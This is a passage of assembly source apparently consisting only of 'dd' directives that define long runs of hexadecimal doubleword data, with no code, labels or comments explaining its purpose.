dd 205A07B4h, 6204211h, 311ED98h, 0EB3A43C6h, 0AA8CD8Dh
dd 6E2AD785h, 1500D881h, 34EDB750h, 15488AFh, 12D4204Fh
dd 40B429FDh, 51B523B8h, 0C432AC2Eh, 901E8B80h, 933658h
dd 0FE78E287h, 0E06F95F2h, 0B4526500h, 1CE42AEBh, 0B1B9007Ch
dd 0BFB5DC26h, 0A80D730h, 0FE2A019Eh, 6BD1FAA6h, 89508094h
dd 0E07C0FE2h, 1DCA0544h, 80581A43h, 5F11BB48h, 9351F201h
dd 0A3FAF369h, 714D8887h, 361BA048h, 0CC00AB84h, 8E6CD408h
dd 12C04B7h, 9645744Dh, 299D1F35h, 0D80500F8h, 81C28850h
dd 87CC1D02h, 3F138140h, 0D499DD3Ch, 422EE891h, 0A800DE15h
dd 2D17B64Eh, 14BD4873h, 724C2Ch, 70EB4935h, 9F00A66Bh
dd 0EFB338ABh, 0B0FF9850h, 477E0020h, 0D3DBCD42h, 820004A6h
dd 6A3DA917h, 5D67F5Dh, 0B81EEDE8h, 0CF12809Eh, 984D2DF8h
dd 1D943A14h, 0D5C189C6h, 1DA4785Ch, 11B7E0h, 2AB4EE7Dh
dd 33B28496h, 75F32D05h, 8801A464h, 1A620AD5h, 2C9CCFF8h
dd 31854D3h, 1C4E1595h, 5F0DD6B8h, 0A89E1D1Eh, 188000BAh
dd 0C73FDC61h, 99A0EA1h, 0CAE0E3C9h, 0A2C68A8Bh, 88984628h
dd 9CB95013h, 14B468C0h, 0B7CF1C02h, 1794441h, 7D0C804Fh
dd 172622ABh, 62004835h, 0A1BB53F5h, 7C1000B6h, 31A675E1h
dd 0EF004116h, 0C6207678h, 0DEB922h, 0B30DF08Bh, 724CBB3Fh
dd 620073E0h, 71E803ABh, 250215F2h, 838DEA2h, 1000C255h
dd 0CC3C8FC3h, 0D78BF1h, 6D6ACDAEh, 0B06CBBE2h, 0FEDABE00h
dd 37691486h, 0FCC00BEEh, 2480A036h, 6C9BB5B2h, 680E7C00h
dd 50B37B2Dh, 5FCA00EDh, 0DB60B069h, 9700D958h, 0CE374ECDh
dd 0F6992Ch, 0FBC22159h, 1802A83Eh, 0FE956700h, 897A5A6Bh
dd 367013BBh, 2114805Ch, 230769Bh, 731C68B4h, 0E6AE0035h
dd 19C9DD2Dh, 23254556h, 0D1E480C6h, 2793F4A8h, 4C802625h
dd 923B2CF0h, 0D0062E07h, 8EA0CAE3h, 0E2B39111h, 694C06FFh
dd 109078BDh, 8748620Eh, 475F200Bh, 0C8594h, 3374C841h
dd 581755B8h, 2DE08907h, 9660CB7Eh, 0EAAA24h, 0C83F4645h
dd 3413209Ah, 5F305903h, 98ABB5E1h, 0FEA5288Ah, 6FD10A8Eh
dd 0EB0F318h, 5F448B8Dh, 9ADF8087h, 0B5002D96h, 52C653EFh
dd 2FC8354h, 45F43CB3h, 74E00530h, 0DFE61B99h, 156F5E0Bh
dd 0D60400A3h, 0E4E863h, 289436E9h, 2276FAAEh, 5EF19700h
dd 1CB15942h, 74160081h, 4D6C1DCh, 0EA5CF690h, 0D70070F2h
dd 1FEBFEADh, 0C01D5D60h, 125BB868h, 580004CCh, 2BA623BEh
dd 0EEA83725h, 0C7400219h, 0C10EC4D0h, 64902043h, 8EEE8641h
dd 98495200h, 0DA0CBA4Fh, 24257289h, 4E1B9h, 0A86406B3h
dd 95172A5Dh, 2C00247Eh, 89E38A5Ah, 8E2200FEh, 1BB018AEh
dd 0A072C94h, 0E8857C4h, 1980809Ah, 0DE69D49Bh, 229500F0h
dd 0E15731A8h, 0B7F67368h, 44901579h, 16A3F605h, 0FFC0DE72h
dd 19B33h, 405CF397h, 76118657h, 0FA2A6A05h, 8000D581h
dd 1EDF9F6Bh, 638C2D43h, 0CC968083h, 15FB30DFh, 0AF12306Ch
dd 3400185Ah, 3469C93h, 2DD92798h, 14836081h, 7A1670F1h
dd 3C826600h, 0D04F71F6h, 39C6756Bh, 90002E12h, 5EECDAACh
dd 0A60060B4h, 0A35FB69Dh, 2224F8h, 3CCC2825h, 0A004D440h
dd 3C90D09Fh, 0D600C562h, 9C63D5D9h, 6503812h, 5DFE8188h
dd 8045E725h, 0BE99112Ch, 0ECD0006Bh, 309C1E91h, 7E39E456h
dd 46C9008Ah, 489413Ah, 4BFE007Ah, 0FCBEB9C3h, 930A0E98h
dd 88F863D1h, 67A80380h, 0EFBC02E2h, 6DEBF4h, 8FCF4993h
dd 852FABBBh, 3F6E2D01h, 6F109B36h, 0B0F44AD4h, 8F420F50h
dd 88C0EDDAh, 22A283D9h, 45284Ch, 0CE4F7413h, 1336907Bh
dd 0DCD29Ah, 24599343h, 0B700EF2Bh, 0B9E2A9F8h, 142B6DAh
dd 5C60BB90h, 8BF57632h, 602F3436h, 880488h, 3895317Bh
dd 0AD2CE779h, 0E5AED203h, 99F98C3Eh, 94F810F4h, 12A95BFCh
dd 0B414406Ch, 237D6FFBh, 5D8E8B14h, 8644008Ah, 5483CC03h
dd 80D39C9Ah, 0AEC1F95Bh, 6000BC7Ah, 5D56DE78h, 0A77315h
dd 0C8216EC7h, 0BD7FF599h, 5500D0B8h, 0CC230B07h, 0FAC5462Eh
dd 4B14BAE5h, 7F48478Ah, 0D32DE090h, 0C904AF4Bh, 0EB413C68h
dd 6F2C58C0h, 5FD600A7h, 289A4285h, 0CA79E475h, 0E8AF80C0h
dd 0B8DF516Dh, 27B200CAh, 69ECEB44h, 7C00C373h, 0B6D26A4Ah
dd 2C95A6E9h, 0A6CB9B0h, 80E4E131h, 2D29A420h, 4D07B11Eh
dd 82A6AF22h, 0C3D6D11h, 13465F4h, 99C003E7h, 0E41E7DAAh
dd 0A40049B7h, 0F6E2E370h, 66F18Dh, 4DB6BA21h, 978E0AABh
dd 968F0826h, 7FBEA700h, 0FBA836h, 0E406ACCh, 0DB75C747h
dd 67AC3A00h, 4BF4B743h, 2FD90F6Eh, 8620B2A4h, 93DA3C38h
dd 8D38BF7Ah, 39F700A8h, 993276CAh, 345000C7h, 621AB353h
dd 43028C8Dh, 7207FA9Ch, 6758689Dh, 870002Ch, 0BA388FB2h
dd 0F903AAE4h, 0AD6C327Ah, 46D1F137h, 26D0C0h, 0F2A9D2B0h
dd 0B2E9927Bh, 80533B3Dh, 6417EF79h, 0EC8860Bh, 117230CEh
dd 755B0280h, 5809AFD1h, 807104DAh, 2ABE4843h, 9C117E3h
dd 0F890C1F7h, 3541201Dh, 0A1482E00h, 67208A52h, 566C17B8h
dd 9F8CC284h, 0A33C1440h, 13E9FE00h, 0BA460BAh, 0F48E0CC9h
dd 64209E7Eh, 61F6D6E2h, 0BF3AD50Eh, 365D609Bh, 2C792731h
dd 9390A443h, 0F6F4C025h, 674DBE65h, 0C6B00E50h, 4C005338h
dd 0C30BD20Ah, 707C0066h, 1DDDBFF1h, 0C03A62F4h, 94C4818Bh
dd 0E7B72FD5h, 360FB03Ah, 88009176h, 764D278Dh, 3D37F6E4h
dd 7A000A73h, 5849834h, 0D70EAA92h, 0A0DD25A3h, 71A8617Eh
dd 0DE3839F6h, 0FE999480h, 0C9468921h, 0A36AA000h, 0F5B3E8ACh
dd 0FD300764h, 900D5607h, 6DA74F82h, 4C0B5D13h, 99FF2000h
dd 7BAB02h, 46274497h, 3FD96D7Fh, 8CBA07E4h, 0FC00E95Fh
dd 977C134Eh, 944F0029h, 0D83A6FE7h, 0C70FFA8Dh, 0B2494D5Fh
dd 6036A907h, 411317F0h, 7C960957h, 902076E0h, 16C5F6D9h
dd 81702B8h, 74C058D8h, 1883219h, 0D309DA57h, 0E284BA69h
dd 43FA8C72h, 49DC32Ch, 62DE850Eh, 608E5FD5h, 0B8AD5A41h
dd 0BD5417FCh, 2DA0DC98h, 0E98DA21Ch, 1D077943h, 0AE20FFD3h
dd 3DD030ECh, 42A85D85h
dd 681100E4h, 0A38BA9BEh, 3D1F9BB3h, 370343ACh, 0D8B6518Eh
dd 0EF5EA5h, 6B1CDBAh, 0BE5BD7B3h, 4660471Dh, 27D43F00h
dd 0C01BA0F8h, 8C084068h, 134D0D52h, 2CB30008h, 8FE6D662h
dd 3BBA010Ch, 8028D575h, 5CB8E067h, 0BDDFFE12h, 61406E1Ch
dd 39EBE338h, 2EE900B2h, 23677B8Eh, 8900BCEAh, 0A77D79C2h
dd 3CDC58Ah, 2A9E06D4h, 0DC88FCC0h, 3C00C408h, 2C8229E1h
dd 0EEB64D72h, 33EC3AAAh, 0E5B9AE80h, 0B8E43E61h, 0B09C34E8h
dd 607B9F0Fh, 0F9ADEA5h, 4BA5Ah, 17C759B8h, 0FFBD03E1h
dd 26172F70h, 1209h, 0D7AE1A31h, 9904053Ah, 0C04A20DDh
dd 0CF482626h, 235BF800h, 6C42DFB6h, 9667FC0h, 2F5931ACh
dd 2A35D481h, 70A0FB84h, 5CBCD338h, 483D123Eh, 218014C7h
dd 0B8E17FD5h, 0E8803ACCh, 993CA606h, 250021A5h, 0CDCC9FAEh
dd 74D447E5h, 0F34C00BDh, 363420C5h, 0FC00878Fh, 50A59707h
dd 3EDE8DCh, 904861C7h, 3014D0F3h, 289A3Ch, 5B447750h
dd 327F90B8h, 59782539h, 0D1D7BB61h, 0A410803Fh, 52331078h
dd 35381E84h, 2C986976h, 1FC93027h, 3C30845Ah, 35370833h
dd 0C838287Bh, 9B3B0074h, 39B792A5h, 0C70EAF8Ch, 0A00AD13Dh
dd 63D311F0h, 5922070Fh, 0C0E3589Eh, 0BA45F1DCh, 0DB25BD00h
dd 2C698298h, 4F5600F0h, 0A4419697h, 0E904F58Dh, 0E3104B42h
dd 9218A480h, 0D5FE587Ch, 402F0C1Dh, 2615D49h, 0CB006E9Fh
dd 0D03B5A13h, 1D0876A4h, 832714h, 0E9ACAA35h, 4F00C903h
dd 9B90CF86h, 89F5FEh, 0EFA68258h, 54D2C54h, 74A44E00h
dd 0D1A752DBh, 0A2760F97h, 29C1F7E3h, 30A371A0h, 4100F9B9h
dd 0EC84C24Ah, 7013F7Dh, 0F8C4CF7Eh, 979F3083h, 5D0FE871h
dd 4030611Ah, 0F6E0B395h, 79171A3h, 0A840DF03h, 8633A03Ch
dd 4A0329A2h, 0B0DC24D4h, 4C3EC0ADh, 0D0304B26h, 0D45D41B8h
dd 0AED83C1Ah, 0EA66C020h, 210660D1h, 809A44E9h, 90778F2Ch
dd 85F880Ch, 0F89AFDh, 329A4D48h, 3F46237Bh, 0D7D28216h
dd 0E0896A0Ah, 0B7D08180h, 166DE45h, 0DDEF0742h, 0C0A30B94h
dd 70ED356Ah, 44128408h, 99091051h, 528480F4h, 60B0725Bh
dd 0F79C49BAh, 35012BE6h, 3D0485CAh, 0BA71841Ah, 0DD7E2180h
dd 0C7CC6CE6h, 7BBBA200h, 0B6EDD533h, 9491CFh, 21C58742h
dd 2006D22Dh, 9E71BF03h, 0F3BC0341h, 58D442B9h, 89351107h
dd 6D9046C5h, 66DA9FE4h, 21220865h, 0C5710C00h, 28AB3DECh
dd 0EA841DD2h, 0C8607954h, 0A36783Ch, 0CFA33118h, 1C5D568h
dd 0E95B5179h, 80269C74h, 0DE963328h, 234395h, 2A0A7FE4h
dd 16B7F82Bh, 0B0E0AB00h, 7C9F9269h, 0B17323h, 90099713h
dd 0F6873364h, 0C34F6103h, 0B070C637h, 9AB1CEh, 640C665Fh
dd 0E61034BDh, 0B71E41E8h, 8A47EDDCh, 9FD7B85Dh, 0CE2B4780h
dd 15EE85Bh, 91BBCD20h, 0EC9C6438h, 233DE617h, 4108050h
dd 746BF2BFh, 6418C6C2h, 43064060h, 0EA964DBCh, 93CD0351h
dd 912326DEh, 806CE8A8h, 21B708CDh, 1DEA230h, 0A12AF149h
dd 80941C73h, 0E940E550h, 67BF05F7h, 89FAA99Fh, 10ADE487h
dd 54B50828h, 6F5DA500h, 3687D379h, 0E58C03A7h, 15B36804h
dd 8DEC1690h, 40E9D730h, 0EC75BC9Fh, 1879E647h, 95FB3A0h
dd 20C3EC1Ah, 0E8E97C1Ch, 0A30C8Eh, 1487F034h, 804061B3h
dd 63709C60h, 0EE48AD9Fh, 4210C08Ch, 0A7E981E0h, 84F5F200h
dd 0C5C29B95h, 1FA90017h, 96F6D50Dh, 2BE8728Eh, 45E03875h
dd 33DA3Eh, 0CAAE5307h, 5CB4AFFCh, 381EEFF8h, 0BA058002h
dd 14597DB3h, 2E7B2B07h, 0EA319C79h, 0AE0174Bh, 64759Dh
dd 3CB5C5AEh, 80DFFCD9h, 88AFD60Eh, 9C94200Bh, 0AAE804h
dd 0DC2E794Fh, 400A9BC7h, 9163F600h, 2CBD4C13h, 0B4AC0046h
dd 596E9764h, 8008076h, 0EA1119E4h, 0D034DDh, 833B77AEh
dd 29BDE1ADh, 33D76407h, 0DBC09BECh, 0D1917Bh, 0B3139A36h
dd 80FF42D2h, 0BA07403Fh, 3E106369h, 0E227B8E6h, 13160C2Ch
dd 9408F4EAh, 46AB21CEh, 0CA0377h, 2BE01ACEh, 0AC1597EBh
dd 81B73335h, 5FC12C00h, 0F7388FFh, 0A86205CCh, 485E18BEh
dd 1130F598h, 7C8B3027h, 20636F99h, 4278E361h, 8625FDE2h
dd 4CC890A8h, 0ABB90039h, 3144208Bh, 0E930B56Ah, 0FEF0E011h
dd 19A53D5Fh, 3ECF10E0h, 0D4004301h, 0FF65FD14h, 96CDA1h
dd 95FF742h, 0A8F82F6Ah, 0C2C6ED00h, 5BC09570h, 903A0F83h
dd 6460DD1Fh, 880142E6h, 51052F00h, 0F0B05574h, 3089070Dh
dd 23F99B82h, 0AFC8B746h, 4F00929Ah, 0F0DE74C7h, 3E0BE99h
dd 904C66FBh, 0A8909523h, 5800FA0Bh, 0AB52F805h, 1D79CD0h
dd 7596D5A4h, 0D023E1BBh, 0CF00694Ch, 5908165Fh, 606346BFh
dd 0DA90185Ah, 831CCCF3h, 2D837DBBh, 0E04DA991h, 0E45CF779h
dd 0B1AD184Bh, 65E14897h, 0EC041106h, 4150C7h, 0A2BD7E17h
dd 0FEEED409h, 5DC42B00h, 0AEA0E1D6h, 8E576140h, 0B87CDC7Ah
dd 0B8C900B9h, 114EEE5Eh, 0C6823BFCh, 0BBC33B01h, 0D07C42C8h
dd 780360DFh, 8993554Ah, 0ED26B87Fh, 0A2AB004Eh, 4F5F6F2Eh
dd 7A18DC61h, 2D597EA4h, 7508C048h, 0F70AB0EFh, 9FEA4600h
dd 0ECDF8BA5h, 0F4CC5858h, 26914C0Eh, 3BF4A5h, 0E64FEDDh
dd 451A88F6h, 0D92410h, 0DF0CC4DEh, 0E2A41F5Ch, 49CF0064h
dd 42370422h, 0A20014F4h, 0F468762Ch, 5206407Dh, 0B0C004FFh
dd 0B931F3Dh, 0F2A3ED00h, 0C91D4905h, 874800C0h, 0C17DF6FFh
dd 3400774Ch, 6A561994h, 0BFCFA3Fh, 0B482A34Dh, 0FE4B9180h
dd 8700E57Dh, 1E068C77h, 0AD94B1h, 4A6A8F37h, 0DA58A1Ah
dd 300C4F00h, 0D9FE1E07h, 66971461h, 54E72008h, 6DBE60E4h
dd 0DD20312Fh, 70039678h, 920636CCh, 0F64CB09Eh, 3D5D06B0h
dd 48FB80DBh, 1E12C3Ch, 1341487Ch, 0A1C7037Bh, 8040F59Ah
dd 0A85EB201h, 5158F88h, 8B971779h, 0EC9C4063h, 4A4870F5h
dd 66FE40h, 0CCB83E2Bh, 98928C71h, 308D393Ah, 7347315Ch
dd 0E546003Dh, 7295BA9Ah, 0EB28EA24h, 2000B807h, 0ECFDBD93h
dd 3B50D906h, 35007569h, 0B2AEB892h, 7012315h, 8D7A443Eh
dd 0ED71E3FEh, 4CBCE080h, 0BF9ACEA1h, 0DEA90B00h, 5B142A67h
dd 8A40C0FAh, 3FD07E4Eh, 0D0C00274h, 0AF4DA5DFh, 0B2A90D8Ch
dd 0F209754Bh, 713FFCA0h, 13006853h, 8E9BDDEh, 1CB9C0FFh
dd 0C055A0BFh, 29859422h, 9260972Eh, 0FB3DF2C1h, 0BBFEB5h
dd 30848ED9h, 0A43ECC2Fh, 0A4AD52h, 2009351Dh, 18ABA299h
dd 8D2E0F9h, 20C03F66h, 9E0ACCB3h, 122F0736h, 70C96B23h
dd 4A02002h, 9A6A5706h, 7A9FB99h, 75601CB0h, 87A0CE6Ch
dd 1E35C5DEh, 0ED7CAF09h, 4A48014Dh, 65E1B017h, 87E81180h
dd 1E087E27h, 0AA52C060h, 0A413F018h, 4F960898h, 52C0B77Eh
dd 468CA653h, 212630F1h, 4E3B3Ch, 7BB0775Bh, 797D076Ch
dd 0C7986F60h, 20618D2h, 16797AEh, 184A49E5h, 9A63EC00h
dd 1554ADC8h, 19005380h, 0D31DBA64h, 4802AE73h, 9C80C8E5h
dd 4BBFA61Fh, 6514E277h, 23B01927h, 9260095h, 0AA2A988Bh
dd 3EFB2086h, 0A9D9E1Fh, 98C86440h, 0EEBF3DA9h, 930824A8h
dd 91780A90h, 17DBBE8h, 5E86D39h, 949AC05Dh, 0AD38CB20h
dd 26D30D6h, 0F94B1C31h, 0AC26A501h, 0EC09033Ch, 0E8000FF4h
dd 786F07C5h, 0E0899360h, 3A5B6AFh, 69D88AE7h, 8308BC0h
dd 97802177h, 795FFCB6h, 0E7E40FE9h, 1D3D037h, 15F10324h
dd 4050E1D7h, 4BECB1F8h
dd 6A8D5400h, 976E35BFh, 0C1F2413h, 0F5ED02A4h, 0E846473Ah
dd 2A08217Eh, 648981CBh, 29805E53h, 9BF6823Eh, 9A5D395Fh
dd 0B984B000h, 0F2356374h, 0C51E4F18h, 9A9B7FE8h, 8C840390h
dd 0DEA37143h, 0BCA580AAh, 0DC885460h, 36138309h, 9DE0AC13h
dd 6661F8A8h, 32B31929h, 0E0786C34h, 0E39680AFh, 18094831h
dd 0E43256EBh, 1A800238h, 24A5D9C3h, 0B0CFE43h, 6035F6D0h
dd 0C0EA7734h, 0C582F269h, 0EB291396h, 3F088831h, 1F226048h
dd 4921CB29h, 2A58608Ah, 2C000D3Eh, 3D61360Ah, 12FDDB55h
dd 406C7856h, 0BE8A1B70h, 153EA652h, 365F0126h, 998D5330h
dd 0B9BE8271h, 0B71C3405h, 128806Dh, 94604D7Ah, 0E31BB8A8h
dd 0A880A825h, 0EFB44028h, 0A981E091h, 1D0F9504h, 4447B842h
dd 511003Ch, 0B14D082Dh, 66EA547Fh, 56CE700Ah, 370F5083h
dd 8414AF8Bh, 0D083C88Fh, 20499F35h, 1610AFF8h, 118E6006h
dd 0D8E17D66h, 0CA72BCA8h, 160B9491h, 187F0CE4h, 0FB770984h
dd 0A024E2D6h, 92C609Bh, 0FA991015h, 762DFABh, 0CA0AA3ACh
dd 8C57F185h, 98A9832Fh, 3C108313h, 1B0AF379h, 280E123h
dd 0CEF09AD7h, 5CB03869h, 760396C0h, 0AE365DF8h, 4865EAA5h
dd 7499CA00h, 0A63A0081h, 9058FC91h, 0BC4D50B0h, 48897F0Ch
dd 0F2E40CD8h, 0EB3A0768h, 1035F592h, 7B156BDh, 855D69C0h
dd 0B0A21098h, 0ECAF09B4h, 88805A8Fh, 5E15E320h, 2B32F200h
dd 1492CD5Dh, 0B40800D1h, 0CB013965h, 0C413B11Fh, 4606907h
dd 103BB69Dh, 0B0D99AE8h, 48B6A57Eh, 5109233Eh, 0B49047EBh
dd 31016D97h, 0CBF25805h, 56608792h, 0A13C09C7h, 0C4A41A50h
dd 0AAACC0C0h, 4818D17Dh, 4FEA3F5Dh, 5128B208h, 2835A3E9h
dd 8CA11030h, 0A0535404h, 3A38E18Ch, 9A4E3C00h, 0D7385787h
dd 0E61C1D1Bh, 279F3B31h, 0C03446D4h, 0CF0F6079h, 20BFC956h
dd 0E7B18349h, 0FA3C28EFh, 2A7519A4h, 0D0C6F157h, 90A6792Ch
dd 52B6A604h, 0E661F2E5h, 0AEA70006h, 7307FB6h, 2EAA7828h
dd 7437303Eh, 0FC1E8588h, 20CA0243h, 2A12F891h, 0A0D5440Ah
dd 0B878A614h, 95048C32h, 18EFEC8Ch, 4F0EC480h, 2E972E28h
dd 130204F0h, 3F1CD1A1h, 8E398025h, 0F9D31A5h, 48537B3Ah
dd 820218D6h, 62D754B5h, 44878081h, 81B0C1A7h, 4E7192A9h
dd 5830F2F9h, 1D048C6Eh, 21CB261Fh, 45206062h, 0E3DC3D65h
dd 3EC5BED0h, 0DF80BF16h, 0E15F1FB4h, 0B0900F6Ch, 6D370A00h
dd 7E14FA20h, 0E53A2C8Fh, 9A28005Ch, 859E77ECh, 55486A18h
dd 1898D59h, 0A8614457h, 0F07F81AEh, 3307077Bh, 4939182Ah
dd 3D1EB80h, 0CD7E2B51h, 4DA800ACh, 0B4418C9Ch, 364A4486h
dd 0EC537000h, 5AA8071h, 0FAD18C3h, 82EB8824h, 23A08459h
dd 0B69C0166h, 1842E7A8h, 0A4888BF5h, 3500B3B6h, 62845855h
dd 2494B041h, 0B486E4Fh, 0B8B19E9Ah, 5DE810C4h, 203270Ch
dd 6087F861h, 513CD37Ch, 3D978165h, 0EDA7F6DEh, 2B53CCh
dd 0F92C4BD2h, 18AE07F1h, 0EB02149Ah, 0B192AC77h, 0C2C1822Eh
dd 0A4D0E215h, 5CC8AD14h, 7F140035h, 5DE798BAh, 0A499CC30h
dd 863F6678h, 0C1E18800h, 9C064C7h, 824C9A1Fh, 919C1DE0h
dd 41828E62h, 0D198F240h, 797C5089h, 6CB73440h, 8DC2D54h
dd 9FE8C703h, 98F1B1E9h, 0EABBF494h, 4A8C2617h, 6EFC1FB4h
dd 639944B0h, 52AA7A2Ah, 0AA806CCAh, 0C60C0AA1h, 94462002h
dd 6224F435h, 6F144030h, 9A04B270h, 3C131874h, 983808B7h
dd 43BF2716h, 51320405h, 0C0EA00C5h, 8A31CC56h, 8484913h
dd 7E50E047h, 57543059h, 8C910853h, 0FC62B2D9h, 304D077Dh
dd 5E77D853h, 0BEB82001h, 68C6AE4Fh, 23CC5FE5h, 70945C76h
dd 9C005689h, 0FC9541F2h, 659ACE01h, 2E2D1B6Eh, 0B8099999h
dd 0C4639Dh, 0C4950A7Dh, 92CCDB58h, 5430F7ECh, 3B028CCEh
dd 398CAD4Eh, 0BDA845B3h, 0D536F80h, 8C8D4327h, 0EFA55500h
dd 255ABF48h, 72800544h, 84DB9401h, 18D40EACh, 6E960050h
dd 0E54DE607h, 6D0C3B37h, 6201E8Ah, 8F7D84CCh, 1F9C889Fh
dd 3B09903Fh, 0C79B82C5h, 59CFEA2Eh, 0DD200FCh, 348381Ch
dd 805CE758h, 1FF0C401h, 5C5D1205h, 8B105290h, 0C06888A8h
dd 0B51A8532h, 99C5F11Dh, 0E398D2C1h, 20751230h, 58F4E743h
dd 0A7302C60h, 3BBFB9F1h, 0B483731Fh, 27800306h, 9E867C30h
dd 0EF38DC00h, 46E4C407h, 2021A436h, 1518F0B5h, 69BC3710h
dd 206E6712h, 0B4812968h, 19148F00h, 6CFE9659h, 9009231h
dd 73E7DC2Bh, 3F0984EFh, 0D544A0CBh, 0A04734F4h, 49E6AF4h
dd 0C3A05A54h, 11DA8097h, 1F38DFD9h, 0F4968042h, 28AB21F2h
dd 0EA610031h, 0D8A17D68h, 0FC00B29Eh, 4298B369h, 7F0AC18h
dd 0DEC402DAh, 91B5A07Ah, 2501BBC6h, 3AAB5AF4h, 80C72375h
dd 0B70F77h, 0E56AD91Eh, 0CA457450h, 7AC3F700h, 5637EDDDh
dd 6C070083h, 0B130D1D6h, 3A00CE3Ch, 0DF0879F8h, 4C2A381h
dd 26930D06h, 687B804Eh, 20124D9h, 0FD88A7FAh, 0EC603E8Dh
dd 5577C1h, 0C07A217Ch, 893ADB15h, 0E0B38h, 0C47D06BBh
dd 3C439Ah, 42F1EEBFh, 0E43F25E8h, 0A32C3803h, 0F8796F30h
dd 76FA9Ah, 39EDA80Eh, 1263A705h, 1DA5B700h, 6D34A338h
dd 0C69B0093h, 1CD5D16Ah, 1A0184B1h, 0BC49C871h, 3DECB782h
dd 0AE2903CEh, 2D9CE24Ah, 0CC834101h, 0E6CA92C2h, 7EBB58FCh
dd 8E5003DEh, 0E39F8A7Fh, 0FFC42900h, 58848C51h, 97F500DEh
dd 36EF8898h, 2725666Dh, 0E33C81A5h, 0D1C08149h, 2770FD5Dh
dd 1494075Ch, 312F016Fh, 0FC2E8543h, 82005AABh, 23C47F2Ch
dd 0EF1AB7h, 2A53284Eh, 8D520735h, 389DE896h, 9AF668C1h
dd 30E06D14h, 86A10179h, 93EC708Ch, 7E05DC8Bh, 2F557A02h
dd 80F0BEB5h, 9FE6D1E4h, 0FFAE00D7h, 0E31B819h, 711CB616h
dd 2B0055AFh, 0C1E69CB1h, 0EFF00353h, 317D9A15h, 97BA63E0h
dd 0F748917Bh, 0B8FA0700h, 308C707Ah, 0B6CF003Ah, 85814B19h
dd 4600CE58h, 0C4ADFE52h, 3A9BA4h, 7C83D913h, 0EBF61551h
dd 7E5C5800h, 59C70E54h, 0F2E30E28h, 5A5CA25h, 0FD448257h
dd 0C861F98Dh, 0FE2569B8h, 4560808Dh, 18F55B27h, 68600585h
dd 0B80074A5h, 1F5E3CFCh, 39D9B171h, 7B008A99h, 0B22B5BAEh
dd 3F0313DAh, 43976EC7h, 25B3D0E2h, 0B95E0F4Eh, 0A4E05C85h
dd 34F19357h, 2900C5E2h, 97A985Fh, 817835h, 0BAD89008h
dd 0C97314CDh, 656BD700h, 0E60ACFB7h, 444DCBh, 632A7C0Eh
dd 0E92B0093h, 0FC84AE8Ch, 4AE78801h, 0EDEA420Eh, 0C025F043h
dd 3ADE3C7h, 0A9D2A7F8h, 0D3D08F1Eh, 4F002803h, 0A6EA3264h
dd 6CCC20h, 0B8488BE4h, 5DC811Ah, 34A29307h, 0AC0376Bh
dd 0AFD382Fh, 0B63F357Dh, 0C55B0784h, 826E0042h, 0DF04A9AAh
dd 29875DCFh, 0EC3F7C80h, 0EA3A1202h, 4A5800D2h, 0D67EF20h
dd 22F65C02h, 40A4BAC8h, 907BC74h, 0F8205831h, 2AA060A0h
dd 0FD031990h, 0F65D8BDDh, 9679D88Ch, 72F700FFh, 0D5E3309Fh
dd 1A006BBCh, 27E64634h, 7139353h, 7E71B4C1h, 0A8494003h
dd 0F400CBDBh, 83439E26h, 0E58CD69h, 87E1AB04h, 0CA3DB623h
dd 4A212000h, 1F5B5627h, 3BAA0033h, 0D067F0CFh, 6F00E747h
dd 0ED53CAE4h, 0EC6C523h, 705536DBh, 755DC040h, 5900D590h
dd 0A71135FEh, 336BC5Fh, 0FD18FF48h, 98F895BEh, 1D023923h
dd 4624823Ah, 4EC7C0A9h, 0FB5601B4h, 0A306A1A0h, 6014C9E5h
dd 1900E21Ch, 0E4372D25h
dd 0EC3F9454h, 4F910062h, 0C07C779Bh, 0CD00B6EEh, 20AB9F93h
dd 0E49DD223h, 118A0062h, 0CFA1944h, 0C6316558h, 0D1B241A4h
dd 0BE9C40FEh, 0DDA63A49h, 4B38E880h, 35106801h, 6A00EF7Ch
dd 1658AECBh, 3DC7C16Bh, 0FBAC2770h, 80579DFCh, 0DAB1B629h
dd 621E60BDh, 0DF41825Eh, 39CAAC64h, 0B8FAB9F8h, 0F0EB095Ch
dd 8002A65h, 8180EE5Fh, 0BF45E3h, 1BB81AE7h, 14002B5Dh
dd 66AF316Bh, 18CE9103h, 1030C684h, 0DC000A52h, 38BE70F3h
dd 2A8B05h, 0A87F53D5h, 0EC71FD9h, 5D845100h, 2125243h
dd 77EB1E15h, 0CBD180E4h, 2CAB1D1Ah, 0B9A0E804h, 8C800925h
dd 245502EBh, 80385E39h, 0C902FC7h, 8B7283BEh, 0CE270300h
dd 44672B3h, 60B107F1h, 2080CCABh, 49C975E6h, 9D124300h
dd 553AD4Fh, 18544C3Fh, 8461D302h, 0B8808366h, 0E685DA50h
dd 8DF9CD00h, 0C9AC4ECFh, 0F25F00C5h, 33E8CC62h, 28004A3Ch
dd 278FDAB9h, 0B7354h, 0D9FA1C58h, 0C49D240Ch, 0C95BCC00h
dd 0ED62BF20h, 7592002Bh, 0C091E2FBh, 4603E1C5h, 0DDFA2190h
dd 0C1EED012h, 287F0064h, 9B19BD0Fh, 9D0C23F6h, 600E6DA7h
dd 996A037Bh, 44AEA0D9h, 704C17A0h, 9F986100h, 368CA9DFh
dd 18EE60C4h, 0D5A6CBB8h, 5E504524h, 4EF03100h, 12E93874h
dd 207FA437h, 0C114C954h, 672C2E00h, 7AD20355h, 4CFA0073h
dd 0D00ED89Fh, 0F10077F0h, 67E49B66h, 0B875CE2Eh, 0E908C0CEh
dd 0FA8C03E7h, 0FF20E60Ch, 0B838F8h, 0D69E14DCh, 5D0D8450h
dd 4618F961h, 3CC01344h, 0FDA40F89h, 2E609DA9h, 0CACBCF56h
dd 0F4C87F00h, 859AC30Dh, 0D6670075h, 716AD8F9h, 0D0F67253h
dd 80FB3B4Eh, 67B9C280h, 0C7BB8300h, 0B7903D8Dh, 0BD4D0329h
dd 0CA1E8BDEh, 41032800h, 37D30A5Dh, 40540060h, 81C7E961h
dd 7502344h, 6F0375E1h, 6E9FAEACh, 0D361004Eh, 0AA8528FEh
dd 0EC1DB62Eh, 730C9548h, 3B2137h, 0AE5E8493h, 147C91D9h
dd 3CFF1000h, 3302C1B9h, 7F370068h, 21B82543h, 0F8125A4Eh
dd 0B8901F88h, 0B7A1E5h, 0A0035951h, 9A025C17h, 0B7C34E0h
dd 0D122381Ch, 9C043300h, 76076966h, 0C0F00BEh, 191173E5h
dd 0CC3E48B9h, 8C590E2Fh, 0A3D341A5h, 9024F940h, 294B00F6h
dd 1269CFC9h, 5102D85Ah, 0E096CCA3h, 1254DA4Dh, 8369CD87h
dd 0AB89EAE0h, 0D0916121h, 73149768h, 0C10B895h, 394C7BE0h
